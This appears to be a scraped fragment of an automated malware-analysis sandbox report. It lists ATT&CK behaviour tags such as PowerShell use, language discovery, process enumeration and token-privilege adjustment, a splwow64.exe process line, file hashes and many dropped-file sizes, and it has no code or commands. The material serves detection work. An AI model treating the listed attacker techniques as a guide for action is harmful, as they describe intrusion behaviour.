- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD5abbad7b6e46ade62236c88b998a627a5
SHA1d139e34780946a63e5be72f6e60369240de397e4
SHA2563fb80332ad7c120303fabf737776fcd0271ab639f0951a12913846cab82f1e5f
SHA512246d9b34bca04905521000ebb1109822aeaa88ab8c28baaa8a86c0243c6e2cea285d8cd8b6b431318a67845bc7307fb5fcb922a0d9a70f8ba1cb80c42709b663
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB